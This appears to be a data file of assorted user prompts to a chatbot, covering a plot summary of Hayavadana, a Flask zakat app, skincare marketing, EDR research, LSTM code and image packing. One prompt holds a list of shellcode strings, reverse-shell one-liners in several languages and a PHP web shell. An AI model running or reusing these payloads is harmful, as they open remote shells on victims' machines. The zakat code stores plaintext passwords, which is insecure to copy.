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      "prompt": "Context:\nAct - I\nThe play opens with worship to Lord Ganesha. Bhagwata comes to the stage. He is a character in the Play and also is the narrator of the play. He seeks blessings from Lord Ganesha for the successful performance of the play. Through his narration, he takes the audience to a place, called as Dharampur and introduces the audience to the king Dharmsheel. Then he puts up some rhetorical questions on incompleteness of man and God; and also on the perfection of a man. During his narration, he introduces two characters who are mutual friends. The first one is Devdutta. He is a sharp minded and highly intellectual person. He has defeated poets and Pandits with his knowledge. He is a son of Brahmin. The second one is Kapila. He is a muscular man. He has a great physical strength and he is a son of Lohar (Black Smith). Both Devdutta and Kapila are in contrast as the former lacks power and strength, the latter lacks knowledge and intellectual. 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He tries to remove the mask but realizes that it is truly half a man and a half horse. Now the creature starts to introduce itself before Bhagwata, Actor-1 and the audience.\n\nThe creature introduces himself as Hayavadana and starts to narrate his story. He tells that once upon a time, a princess had to choose a groom for her marriage. So many Princes approached from far and wide. But the princess fell in love with a horse of an Arabian Prince. She became desperate to marry that horse. Eventually her parents allowed her to do so. She was married to the horse. After 15 years of their marriage, the horse transformed into a celestial being. Now the princess rejected him as her husband. That celestial being cursed her to be a Mare (female horse) and she became so. The princess give birth to Hayavadana. Now Hayavadana wants to get rid of this cursed life. Bhagwata asks him to go to goddess Kali temple in chitrkut. He also asks the Actor-1 to accompany him on the way. They leave.\n\nNow Bhagwata moves ahead with the story of the play. Devdutta and Kapila appear on the stage. Devdutta tells Kapila that he wants to marry a woman, namely Padmini. With utmost desire to marry Padmini, he pledges to sacrifice his arms to Goddess Kali and his head to Rudra. Kapila goes to Padmini and presents the Proposal to marry Devdutta. Devdatta and Padmini Marry. By the time, Devdutta realizes that Padmini is attracted towards Kapila and vice versa. Now Padmini is pregnant. Devdutta knowingly tries to put off the program of visiting Ujjain. He tells Kapila that Padmini is ill. But Padmini gives her consent before Kapila. They all three leave for Ujjain. Padmini repeatedly praises Kapila's physical strength before Devdutta. Devdutta feels jealous but he does not blame Padmini. Kapila and Padmini go to Rudra Temple but Devdutta denies to accompany them. Devdutta knows that Kapila has such a physical strength and beauty that any woman can get attracted towards him. Devdutta goes to goddess Kali temple where he reminds himself of his pledge to sacrifice his head to the Goddess Kali. He Wishes for the Wellness of Kapila and Padmini. He beheads himself with a sword and dies.\n\nMeanwhile, Kapila and Padmini come out of the temple. Kapila gets worried on finding Devdutta nowhere. He leaves Padmini and starts searching for his friend. Finally he reaches in the same Temple and feels shocked to see his friend dead. He feels himself responsible for all this. Kapila takes the same sword and beheads himself. Soon Padmini reaches there and she has no clue how they got died. She considers herself responsible for the duel between the two friends and their deaths. She provokes the Goddess Kali and also tries to kill herself. The Goddess Kali appears and stops her. The Goddess asks her to place the heads with their respective body so that the Goddess will re-join them with her magical powers and bring them back to life. The Goddess also appreciates the two friends. Padmini follows the command in a hurry. The Goddess disappears. Padmini, being thankful to goddess kali, gets a bit relaxed. But soon she realizes her mistake. She has mistakenly placed the heads with irrespective body. So now Devdutta's head is joined with Kapila's body and vice versa. Soon they regain their senses. For a moment, the two friends are confused. Both make a claim for Padmini. The man with Devdutta's head, makes a plea that head is the master of the body. So he has the right over Padmini. The man with Kapila's head makes a plea that Padmini has remained with Devdutta's body. So he has the right over Padmini. Meanwhile Bhagwata, the narrator, comes on the stage. All the characters become statues for a moment and the narrator addresses the audience. He asks them to think of a solution to this problem. Act 1 ends.[7]\n\nAct - II\nThe act begins as the narrator repeats the same question- \" What is the solution? \". He also talks about the story of \u2032Vikramaditya and Betaal\u2032 [8] where the king Vikrama replies to Betaal that the mind (head) is the master of the body. It is head that gives recognition to an individual. Bhagwata tells that they all three go to a hermit seeking solution for this problem. The words of hermit are heard on the stage that Devdutta's head is the Swami (husband) of Padmini. Devdutta and Padmini accept this in delight. Kapila, being disappointed, leaves for the forest. The time passes. Devdutta brings some dolls. These dolls also play the role of narrator. He starts losing his physical strength and as a result they are losing mutual interest. A child is born. Devduta goes to buy new dolls from the fair in Ujjain. Bhagwata again appears on the stage and tells that Kapila has regained his physical strength. Padmini meets him in the forest and also tell him that it is Kapila's son as it is born from Kapila's body. But Kapila does not accept it. Being a little reluctant, they get ready to fulfill their physical desires.\n\nIn search of his wife, Devdutta reaches there in the forest. Finding them together, he finds himself the similar situation as he was before. To put an Ultimate end to this problem, Devdutta takes out the sword and challenges Kapila for a duel. Both gets killed. Padmini finds herself lonely. Bhagwata comes there and she hands him over the child and the same dolls. She asks him to hand it over to Devdutta's Brahmin father Vidyasagar after five years. She leaves the stage by declaring that she is going to perform Sati. Bhagwata decides to end the play with his speech. A loud shout is heard on the stage. Actor-1 comes and claims that he has heard Hayavadana chanting National Anthem and patriotic songs. Then Actor-2 appears with Devdutta's son of age 5 now. The boy has two dolls. Hayavadana comes there. Bhagwata and Actor-2 are talking lightly and creating fun. They all starts laughing. That boy too starts laughing and the dolls slip out of his hand. Bhagwata says that the boy hasn't expressed any emotions of happiness, anger, sorrow in past 5 years. Today he is smiling just because of Hayavadana.\n\nNow Hayavadana tells his story. when he was trying to behead himself in the temple, the goddess Kali appeared. Hayavadana tells his desire. The goddess Kali without listening to him fully, gives him blessings. Hayavadana becomes a complete Horse instead of becoming a complete man. Yet he is satisfied. He still has ability to speak like a man. He wants to lose this voice. He is singing national Anthem as he believes that people who sing national anthem, lose their voice early. Meanwhile he sobs. The boy starts singing a tragic song which was chanted by his mother, Padmini. Hayavadana tries to laugh and his voice completely changes into a horse'. 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I would also like to give the user the option to view his entire data - income and expenses currently being tracked for zakat, already paid zakat, as well as the date and time when zakat for a specific amount will be due.\n\nwrite entire sqlalchemy code needed for this whole website - ie write the entire models.py file, and also write what needs to be added to the app.py file, with examples of how to modify the database in all the ways that is required for the stated goals.\"\n\nyour response:\n\"Sure, I can help you write the SQLAlchemy code for this web app. Here is the code for models.py:\n\npython\nCopy code\nfrom sqlalchemy import Column, Integer, String, Float, DateTime, ForeignKey, create\\_engine, text\nfrom sqlalchemy.orm import relationship, backref, sessionmaker\nfrom sqlalchemy.ext.declarative import declarative\\_base\nfrom datetime import datetime\n\nBase = declarative\\_base()\n\nclass User(Base):\n \\_\\_tablename\\_\\_ = 'users'\n id = Column(Integer, primary\\_key=True)\n username = Column(String(50), nullable=False, unique=True)\n password = Column(String(50), nullable=False)\n incomes = relationship(\"Income\", back\\_populates=\"user\")\n expenses = relationship(\"Expense\", back\\_populates=\"user\")\n zakat\\_payments = relationship(\"ZakatPayment\", back\\_populates=\"user\")\n\nclass Income(Base):\n \\_\\_tablename\\_\\_ = 'incomes'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date = Column(DateTime, nullable=False, default=datetime.utcnow)\n user\\_id = Column(Integer, ForeignKey('users.id'))\n user = relationship(\"User\", back\\_populates=\"incomes\")\n expenses = relationship(\"Expense\", back\\_populates=\"income\")\n\nclass Expense(Base):\n \\_\\_tablename\\_\\_ = 'expenses'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date = Column(DateTime, nullable=False, default=datetime.utcnow)\n user\\_id = Column(Integer, ForeignKey('users.id'))\n user = relationship(\"User\", back\\_populates=\"expenses\")\n income\\_id = Column(Integer, ForeignKey('incomes.id'))\n income = relationship(\"Income\", back\\_populates=\"expenses\")\n\nclass ZakatPayment(Base):\n \\_\\_tablename\\_\\_ = 'zakat\\_payments'\n id = Column(Integer, primary\\_key=True)\n amount = Column(Float, nullable=False)\n date\\_paid = Column(DateTime, nullable=False, default=datetime.utcnow)\n income\\_id = Column(Integer, ForeignKey('incomes.id'))\n income = relationship(\"Income\", back\\_populates=\"zakat\\_payments\")\n user\\_id = Column(Integer, ForeignKey('users.id'))\n user = relationship(\"User\", back\\_populates=\"zakat\\_payments\")\nIn this code, we define four tables: users, incomes, expenses, and zakat\\_payments. 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Complete your response from the line you stopped, don't start all over again.\n\n\"Continuing from the previous response, here's the rest of the SQLAlchemy code for the web app:\n\npython\nCopy code\nengine = create\\_engine('sqlite:///salary\\_zakat\\_calculator.db', echo=True)\nBase.metadata.create\\_all(engine)\nSession = sessionmaker(bind=engine)\n\napp = Flask(name)\napp.secret\\_key = 'supersecretkey'\n\n@app.route('/signup', methods=['POST'])\ndef signup():\nusername = request.json['username']\npassword = request.json['password']\nsession = Session()\nuser = User(username=username, password=password)\nsession.add(user)\nsession.commit()\nsession.close()\nreturn jsonify({'message': 'User created successfully.'}), 201\n\n@app.route('/login', methods=['POST'])\ndef login():\nusername = request.json['username']\npassword = request.json['password']\nsession = Session()\nuser = session.query(User).filter\\_by(username=username, password=password).first()\nif user:\nreturn jsonify({'message': 'Login successful.'}), 200\nelse:\nreturn jsonify({'message': 'Invalid username or password.'}), 401\nsession.close()\n\n@app.route('/incomes', methods=['POST'])\ndef add\\_income():\namount = request.json['amount']\nuser\\_id = request.json['user\\_id']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = Income(amount=amount, user=user)\nsession.add(income)\nsession.commit()\nsession.close()\nreturn jsonify({'message': 'Income added successfully.'}), 201\n\n@app.route('/expenses', methods=['POST'])\ndef add\\_expense():\namount = request.json['amount']\nuser\\_id = request.json['user\\_id']\nincome\\_id = request.json['income\\_id']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = session.query(Income).get(income\\_id)\nexpense = Expense(amount=amount, user=user, income=income)\nsession.add(expense)\nsession.commit()\nsession.close()\nreturn jsonify({'message': 'Expense added successfully.'}), 201\n\n@app.route('/zakat\\_payments', methods=['POST'])\ndef add\\_zakat\\_payment():\namount = request.json['amount']\nuser\\_id = request.json['user\\_id']\nincome\\_id = request.json['income\\_id']\nsession = Session()\nuser = session.query(User).get(user\\_id)\nincome = session.query(Income).get(income\\_id)\nzakat\\_payment = ZakatPayment(amount=amount, user=user, income=income)\nsession.add(zakat\\_payment)\nsession.commit()\nsession.close()\nreturn jsonify({'message': 'Zakat payment added successfully.'}), 201\n\n@app.route('/zakat\\_due', methods=['GET'])\ndef get\\_zakat\\_due():\nuser\\_id = request.args.get('user\\_id')\nsession = Session()\nuser = session.query(User).get(user\\_id)\nzakat\\_due = 0\nzakat\\_due\\_dates = []\nfor income in user.incomes:\nzakat = income.amount \\* 0.025\nfor zakat\\_payment in income.zakat\\_payments:\nzakat -= zakat\\_payment.amount\nif zakat > 0:\nzakat\\_due += zakat\nzakat\\_due\\_dates.append({'income\\_date': income.date, 'zakat\\_due\\_date': income.date.replace(year=income.date.year+1)})\nsession.close()\"\n\ncontinue.",
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      "prompt": "Using the following competitor product reviews as reference, write a marketing copy that addresses the major pain points expressed by reviewers for our product. Our product is called White Sands: Dual-Action Body Scrub and it uses naturally exfoliating fruit AHA's derived from Kiwi and smooth white quartz granules to gently smooth and reduce body bumps on the skin. \n\n\u201cFirst time in years that I have had smooth skin. Completely took care of the KP (Keratosis pilaris - bumpy skin). I noticed a big difference with the first application and the KP was completely cleared up after three uses. Highly recommend!!\u201d\n\n\u201cI have had strawberry legs my whole adult life and this product works wonders to clear it up, prevent ingrowns, and leaves my skin soft and smooth for the first times in years!!\u201d\n\n\u201cI don\u2019t usually write reviews but after my fourth bottle i felt it was needed. I have very!! Sensitive skin so much so that using the wrong product will leave me with hives for days, additionally I have struggled with dermatitis, strawberry legs and ingrown hair on my legs for years. For a long time I couldn\u2019t shave, I hated showing my scarred, itchy legs nothing helped and most products made it worse. I purchased this KP scrub after seeing it on a buzzfeed article. I was hesitant at first because it is a little pricey for such a small bottle, however it is totally worth it! I have gone almost a whole summer without having any dermatitises or my regular issues and using it in tandem with an exfoliating mitt helps make it last longer and i think work more effective and it dosent bother my sensitive skin at all. If you on the fence please take my advice and buy it is worth it!\u201d\n\n\u201cThis product is a game changer. It\u2019s reduced the KP bumps on my arms significantly like 60%! Also has almost completely cleared up the rough skin and acne on the backs of my thighs. It\u2019s made my skin so smooth! I can not remember a time when my arms were this smooth. It\u2019s been like 20 years. I feel so much more confident and comfortable. I LOVE this product.\u201d\n\n\u201cI\u2019ve had issues with acne for 16 years. If I shave above my knees, I break out everywhere! I have tried it all. This has worked!! I use it around bikini line, thighs, butt, and even my arms bc I break out a lot on the tops of my arms in the summer. My skin has been super clear, and I have confidence in a bathing suit for the first time.\u201d\n\n\u201cThis exfoliating scrub is EVERYTHING! It\u2019s not highly scented or colored, which I love because I have super sensitive skin. The exfoliants are very fine but super exfoliating. This helped to soften the bumps I have on my arms and legs. I also used it on my feet and my entire body was so so soft! It works amazing! It did not irritate my skin or make me itch either. I also love that when I got out of the shower it doesn\u2019t leave my skin dry and tight like other exfoliating scrubs. Since I started using this, I\u2019ve noticed a huge difference in bumps on my skin and I absolutely would recommend!\u201d",
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      "prompt": "Web search results:\n\n[1] \"Endpoint Detection and Response (EDR), also referred to as endpoint detection and threat response (EDTR), is an endpoint security solution that continuously monitors end-user devices to detect and respond to cyber threats like ransomware and malware. Coined by Gartner's Anton Chuvakin, EDR is defined as a solution that \"records and stores ...\"\nURL: https://www.crowdstrike.com/cybersecurity-101/endpoint-security/endpoint-detection-and-response-edr/\n\n[2] \"EDR is designed to provide comprehensive endpoint protection against cyber threats. To do so effectively, an EDR solution must be designed based upon these principles: A Prevention-First Approach: Preventing an attack is always less expensive and damaging than attempting to remediate it after the fact. An EDR solution should attempt to identify ...\"\nURL: https://www.checkpoint.com/cyber-hub/threat-prevention/what-is-endpoint-detection-and-response/endpoint-detection-and-response-edr-benefits/\n\n[3] \"Endpoint detection and response (EDR) platforms are solutions that monitor endpoints (computers on the network, not the network itself) for suspicious activity. Coined by Gartner analyst Anton Chuvakin in 2013, EDR solutions focus on end-user devices - laptops, desktops, and mobile devices. EDR solutions provide visibility and monitoring for ...\"\nURL: https://www.varonis.com/blog/endpoint-detection-and-response-edr\n\n[4] \"Endpoint Detection and Response (EDR) is a fast-growing category of solutions that aim to provide deeper capabilities than traditional anti-virus and anti-malware solutions. In this piece, we'll learn what EDR is and why it's important, discover how EDR security solutions operate and examine some best practices for using these tools.\"\nURL: https://www.varonis.com/blog/edr-security\n\n[5] \"Endpoint detection and response is a cybersecurity solution that automatically detects and responds to endpoint threats. EDR tools monitor and analyze endpoint usage, identify suspicious behavior, and notify the company's IT team, so they respond promptly to attacks. EDR security protects your network by detecting endpoint attacks, containing ...\"\nURL: https://techgenix.com/edr-security-endpoint-detection-response-guide/\n\n[6] \"An alternative approach is to do agentless endpoint monitoring and collection of data. In this scenario, no agent software is installed on the endpoint device. Rather, the EDR tool passively monitors traffic coming onto and passing through the network as it flows between users' client machines and the servers they are accessing.\"\nURL: https://www.datto.com/blog/10-considerations-before-buying-an-endpoint-detection-and-response-edr-security-solution-part-1\n\n[7] \"Top 5 Key Must-Have Features of EDR Tools in 2022. Endpoint detection and response (EDR) is defined as a cybersecurity solution that constantly monitors endpoint devices such as laptops, mobile phones, workstations, and virtualized desktops, along with endpoint users, to detect signs of a cyberattack and resolve them either through automated remediation or by alerting a human stakeholder.\"\nURL: https://www.spiceworks.com/it-security/endpoint-security/articles/best-edr-tools/\n\n[8] \"EDR can isolate and quarantine suspicious or infected items. It often uses sandboxing to ensure a file's safety without disrupting the user's system. 5. EDR can include automated remediation or removal of certain threats. Antivirus: 1. Antivirus is signature based, so it only recognizes threats that are known.\"\nURL: https://thinkadnet.com/2021/03/edr-vs-antivirus-whats-the-difference/\n\n[9] \"EDR functions as a centralized management hub for an organization's endpoints network-wide. It acts to stop an attack at the earliest signs of detection, even before a human administrator learns ...\"\nURL: https://www.esecurityplanet.com/endpoint/antivirus-vs-epp-vs-edr/\n\n[10] \"An EDR solution will monitor and collect these endpoints like an NDR, constructing a \"normal\" behavior pattern that then helps identify threats within an instant. Also, like NDR solutions, the EDR software will then identify network administrators of a threat or act to immediately contain and eliminate it. EDR solutions are becoming adopted by ...\"\nURL: https://www.sangfor.com/blog/cybersecurity/ndr-vs-edr-what-edr-and-ndr-and-what-are-their-advantages\nCurrent date: 2023/3/25\n\nInstructions: Using the provided web search results, write a comprehensive reply to the given query. Make sure to cite results using [[number](URL)] notation after the reference. If the provided search results refer to multiple subjects with the same name, write separate answers for each subject.\nQuery: what is advantage and disadvantage of edr that is installed on endpoint device.",
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      "prompt": "What we want to predict in the code below is dataA. dataA is a one-dimensional array with 48240 elements (4/1/2020~12/31/2022, 48 data per day). The following code creates an LSTM code to predict pred\\_length(48) from seq\\_length(336). The first half 45312 pieces (data from 4/1/2020~10/31/2022) are used for training and the second half 2928 pieces are used for backtesting.\nPlease modify this code according to the instructions. What we want to predict is still dataA.\nWe want to add a future covariate, \"data\\_future\" (a one-dimensional array with 48240 elements, just like dataA).\nThe \"data\\_future\" has a length of seq\\_length(336)+pred\\_length(48) and can be used to forecast dataA.\n\nPlease modify the code below, Step1~7. Please modify and output Steps 1~3 first.\n\n#step1\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import MinMaxScaler\nfrom torch.autograd import Variable\n\n#step2\ndataA=pd.read\\_csv('all\\_mito\\_A\\_3.csv')[\"data\"].tolist()\ndevice = torch.device(\"cuda:0\" if torch.cuda.is\\_available() else \"cpu\")\nseq\\_length = 336\n\n#step3\ndef sliding\\_windows(data, seq\\_length):\n x = []\n y = []\n\n for i in range(len(data) - seq\\_length - 48):\n \\_x = data[i:(i + seq\\_length)]\n \\_y = data[(i + seq\\_length):(i + seq\\_length + 48)]\n x.append(\\_x)\n y.append(\\_y)\n\n return np.array(x), np.array(y)\n\nsc = MinMaxScaler()\ntraining\\_data = sc.fit\\_transform(np.array(dataA[:45312]).reshape(-1, 1))\ntesting\\_data = sc.transform(np.array(dataA[45312:]).reshape(-1, 1))\n\nseq\\_length = 336\nx\\_train, y\\_train = sliding\\_windows(training\\_data, seq\\_length)\nx\\_test, y\\_test = sliding\\_windows(testing\\_data, seq\\_length)\n\nx\\_train = torch.tensor(x\\_train).float().to(device)\ny\\_train = torch.tensor(y\\_train).float().to(device)\nx\\_test = torch.tensor(x\\_test).float().to(device)\ny\\_test = torch.tensor(y\\_test).float().to(device)\ntrain\\_dataset = torch.utils.data.TensorDataset(x\\_train, y\\_train)\ntrain\\_loader = torch.utils.data.DataLoader(train\\_dataset, batch\\_size=256, shuffle=True)\n#step4\nclass LSTM(nn.Module):\n def \\_\\_init\\_\\_(self, input\\_size, hidden\\_size, num\\_layers, output\\_size):\n super(LSTM, self).\\_\\_init\\_\\_()\n self.input\\_size = input\\_size\n self.hidden\\_size = hidden\\_size\n self.num\\_layers = num\\_layers\n self.output\\_size = output\\_size\n\n self.lstm = nn.LSTM(input\\_size, hidden\\_size, num\\_layers, batch\\_first=True)\n self.fc = nn.Linear(hidden\\_size, output\\_size)\n\n def forward(self, x):\n h\\_0 = Variable(torch.zeros(self.num\\_layers, x.size(0), self.hidden\\_size)).to(device)\n c\\_0 = Variable(torch.zeros(self.num\\_layers, x.size(0), self.hidden\\_size)).to(device)\n\n \\_, (hn, cn) = self.lstm(x, (h\\_0, c\\_0))\n out = self.fc(hn[-1])\n return out.view(x.size(0), self.output\\_size, 1)\ninput\\_size = 1\nhidden\\_size = 50\nnum\\_layers = 2\npred\\_length = 48\n\nmodel = LSTM(input\\_size, hidden\\_size, num\\_layers, pred\\_length)\nmodel = model.to(device).train()\n\n#step5\ncriterion = nn.MSELoss()\noptimizer = optim.Adam(model.parameters(), lr=0.001)\n\nnum\\_epochs = 100\nfor epoch in range(num\\_epochs):\n for batch\\_X, batch\\_y in train\\_loader:\n batch\\_X, batch\\_y = batch\\_X.to(device), batch\\_y.to(device)\n output = model(batch\\_X)\n loss = criterion(output, batch\\_y)\n optimizer.zero\\_grad()\n loss.backward()\n optimizer.step()\n print(f\"Epoch: {epoch+1}, Loss: {loss.item():.4f}\")\n#step6\nbacktest\\_results = []\n\nfor i in range(61): # 61 days from 2022/11/1 to 2022/12/31\n backtest\\_start = 45312 + i \\* 48\n backtest\\_end = backtest\\_start + seq\\_length\n backtest\\_data = sc.transform(np.array(dataA[backtest\\_start:backtest\\_end]).reshape(-1, 1))\n x\\_backtest = torch.tensor([backtest\\_data]).float().to(device)\n \n model.eval()\n y\\_pred = model(x\\_backtest)\n y\\_pred = y\\_pred.cpu().detach().numpy().reshape(-1, 1)\n y\\_pred = sc.inverse\\_transform(y\\_pred)\n backtest\\_results.extend(y\\_pred)\n\nactual\\_data = dataA[45312+seq\\_length:]\n\n#step7\nbacktest\\_results = backtest\\_results[:len(actual\\_data)]\n\ndef mean\\_absolute\\_percentage\\_error(y\\_true, y\\_pred):\n y\\_true, y\\_pred = np.array(y\\_true), np.array(y\\_pred)\n return np.mean(np.abs((y\\_true - y\\_pred) / y\\_true)) \\* 100\n\nmape = mean\\_absolute\\_percentage\\_error(actual\\_data, backtest\\_results)\n\nplt.figure(figsize=(12, 6))\nplt.plot(actual\\_data, label='Actual mito')\nplt.plot(backtest\\_results, label='Predicted mito')\nplt.xlabel(\"Time\")\nplt.ylabel(\"data\")\nplt.legend()\nplt.title(f\"Actual vs Predicted Mito (MAPE: {mape:.2f}%)\")\nplt.show()",
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      "prompt": "thanks.\n\nnow i need to put my output into a csv.\n\nthe output:\n\n@payload = \"\\x41\\xb0\\x02\\x49\\xc1\\xe0\\x18\\x49\\x83\\xc8\\x61\\x4c\\x89\\xc0\\x48\" \\\n@payload = \"\\x48\\x31\\xd2\\x48\\xc7\\xc0\\xf6\\xff\\xff\\x01\" \\\n@payload = \"\\x31\\xc0\" \\\n@payload = \"\\xeb\\x23\" \\\n@payload = \"\\x31\\xc0\\x50\\x6a\\x01\\x6a\\x02\\xb0\\x61\\x50\\xcd\\x80\\x89\\xc2\" \\\n@payload = \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\" \\\n@payload = \"\\xeb\\x64\\x5e\\x31\\xc0\\x88\\x46\\x07\\x6a\\x06\\x6a\\x01\\x6a\\x02\\xb0\" \\\n@payload = \"\\x48\\x31\\xc9\\x48\\xf7\\xe1\\x04\\x3b\\x48\\xbb\" \\\n@payload = \"\\x7c\\x3f\\x0b\\x78\" \\\n@payload = \"\\x7c\\x3f\\x0b\\x78\".b + # mr r31,r1\n@payload = \"\\x24\\x0f\\xff\\xfd\" \\\n@payload = \"\\x28\\x06\\xff\\xff\".b + # slti a2,zero,-1\n@payload = \"\\xe0\\xff\\xbd\\x27\" \\\n@payload = \"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\" \\\n@payload = \"\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\" \\\n@payload = \"\\x6a\\x66\" \\\n@payload = \"\\x01\\x10\\x8F\\xE2\" \\\n@payload = \"\\x01\\x30\\x8f\\xe2\" \\\n@payload = \"\\x02\\x00\\xa0\\xe3\" \\\n@payload = \"\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a\" \\\n@payload = \"\\x48\\x31\\xd2\".b + # xor %rdx, %rdx\n@payload = \"\\x31\\xc0\\x31\\xdb\\x31\\xd2\\xb0\\x01\\x89\\xc6\\xfe\\xc0\\x89\\xc7\\xb2\" \\\n@payload = \"\\x99\".b + # cltd\n@payload = \"\\x31\\xc9\\x51\\x41\\x51\\x41\\x51\\x51\\x31\\xc0\\xb0\\x61\\xcd\\x80\\x89\\x07\" \\\n@payload = \"\\x31\\xC9\".b + # xor ecx,ecx\n@payload = %{python -c 'import socket,os,pty;s=socket.socket();s.connect((#{host.dump},#{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'}\n@payload = %{awk 'BEGIN {s = \"/inet/tcp/0/#{host}/#{port}\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null}\n@payload = %{perl -e 'use Socket;$i=#{host.dump};$p=#{port};socket(S,PF\\_INET,SOCK\\_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr\\_in($p,inet\\_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'}\n@payload = %{php -r '$sock=fsockopen(#{host.dump},#{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'}\n@payload = %{lua -e \"require('socket');require('os');t=socket.tcp();t:connect('#{host}','#{port}');os.execute('/bin/sh -i <&3 >&3 2>&3');\"}\n@payload = \"bash -i >& /dev/tcp/#{host}/#{port} 0>&1\"\n@payload = %{powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(#{host.dump},#{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}\n@payload = %{node -e '#{js}'}\n@payload = %{mkfifo fifo; /bin/sh -i < fifo 2>&1 | openssl s\\_client -quiet -connect #{host}:#{port} > fifo; rm fifo}\n@payload = %{ruby -rsocket -e'f=TCPSocket.open(#{host.dump},#{port}).to\\_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'}\n@payload = 'https://google.com/'\n@payload = 'alert(1)'\n@payload = File.binread(@class\\_file)\n@payload = %{php if(isset($\\_REQUEST[#{query\\_param\\_string})){echo \"<exec\";passthru($\\_REQUEST[#{query\\_param\\_string}]);echo \"\";}?>}",
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      "prompt": "We're getting a bit lost, lets start again, the below code you supplied before worked perfectly, using this can you add functions to output images for the below algorithms, also can you execute the python code to ensure there are no errors before you submit the script to me:\n\nAlgorithms:\nMaxRects\nMaxRectsBl\nMaxRectsBssf\nMaxRectsBaf\nMaxRectsBlsf\nSkyline\nSkylineBl\nSkylineBlWm\nSkylineMwf\nSkylineMwfl\nSkylineMwfWm\nSkylineMwflWm\nGuillotine\nGuillotineBssfSas\nGuillotineBssfLas\nGuillotineBssfSlas\nGuillotineBssfLlas\nGuillotineBssfMaxas\nGuillotineBssfMinas\nGuillotineBlsfSas\nGuillotineBlsfLas\nGuillotineBlsfSlas\nGuillotineBlsfLlas\nGuillotineBlsfMaxas\nGuillotineBlsfMinas\nGuillotineBafSas\nGuillotineBafLas\nGuillotineBafSlas\nGuillotineBafLlas\nGuillotineBafMaxas\nGuillotineBafMinas\n\nCode:\n\nimport os\nimport subprocess\nimport glob\nfrom datetime import datetime, timedelta\nfrom PIL import Image, ImageOps\nfrom rectpack import newPacker, SkylineMwfl\n\ndef add\\_border(image, border\\_width, border\\_color):\n return ImageOps.expand(image, border=border\\_width, fill=border\\_color)\n\ndef combine\\_images\\_tetris(images, max\\_width, padding, background\\_color):\n # Add border and padding to each image\n bordered\\_images = []\n for image in images:\n bordered\\_image = add\\_border(image, 1, 'red')\n padded\\_image = ImageOps.expand(bordered\\_image, border=padding, fill=background\\_color)\n bordered\\_images.append(padded\\_image)\n\n packer = newPacker(pack\\_algo=SkylineMwfl, rotation=False)\n\n for image in bordered\\_images:\n packer.add\\_rect(\\*image.size, image)\n\n packer.add\\_bin(max\\_width, 20000)\n packer.pack()\n\n bin = packer[0]\n\n combined\\_image\\_width = max\\_width\n combined\\_image\\_height = bin.height\n\n combined\\_image = Image.new('RGB', (combined\\_image\\_width, combined\\_image\\_height), color=background\\_color)\n\n for rect in packer.rect\\_list():\n b, x, y, w, h, rid = rect\n img = rid\n combined\\_image.paste(img, (x + padding, y + padding))\n\n # Find the highest point of the images and crop accordingly\n highest\\_point = 0\n for rect in packer.rect\\_list():\n b, x, y, w, h, rid = rect\n if y + h > highest\\_point:\n highest\\_point = y + h\n\n cropped\\_image = combined\\_image.crop((0, 0, combined\\_image\\_width, highest\\_point + padding))\n\n return cropped\\_image\ndownloads\\_folder = os.path.join(os.path.expanduser('~'), 'Downloads')\nimages = []\n\none\\_hour\\_ago = datetime.now() - timedelta(hours=1)\n\nfor ext in ('\\*.png', '\\*.jpg', '\\*.jpeg'):\n for file in glob.glob(os.path.join(downloads\\_folder, ext)):\n if os.path.getmtime(file) > one\\_hour\\_ago.timestamp():\n images.append(Image.open(file))\n\nmax\\_width = 1920 // 2\npadding = int(2 \\* 300 / 25.4) # 2mm padding in pixels, assuming 300 DPI\nbackground\\_color = (64, 64, 64) # dark grey\n\ncombined\\_image = combine\\_images\\_tetris(images, max\\_width, padding, background\\_color)\ntimestamp = datetime.now().strftime('%Y%m%d\\_%H%M%S')\ncombined\\_image.save(os.path.join(downloads\\_folder, f'combined\\_image\\_{timestamp}.png'))\nprint(f\"Combined image saved as 'combined\\_image\\_{timestamp}.png' in the Downloads folder.\")\n\n# Open the combined image with the default image viewer on Windows 10\nsubprocess.run(['start', os.path.join(downloads\\_folder, f'combined\\_image\\_{timestamp}.png')], shell=True, check=True)Share Prompt",
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      "prompt": "do you think what you have generated is quite repetitive?",
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      "prompt": "Wow. That's amazing. We are really grateful for your help in our mission, Juan.\n\nNow, thanks to your incredible technology, we've retrieved the snack cache. It turns out they were Jalape\u00f1o Snyder's! Definitely something to celebrate.\n\nCan you narrate the ending to our story where we all celebrate together and give each other positive affirmations?",
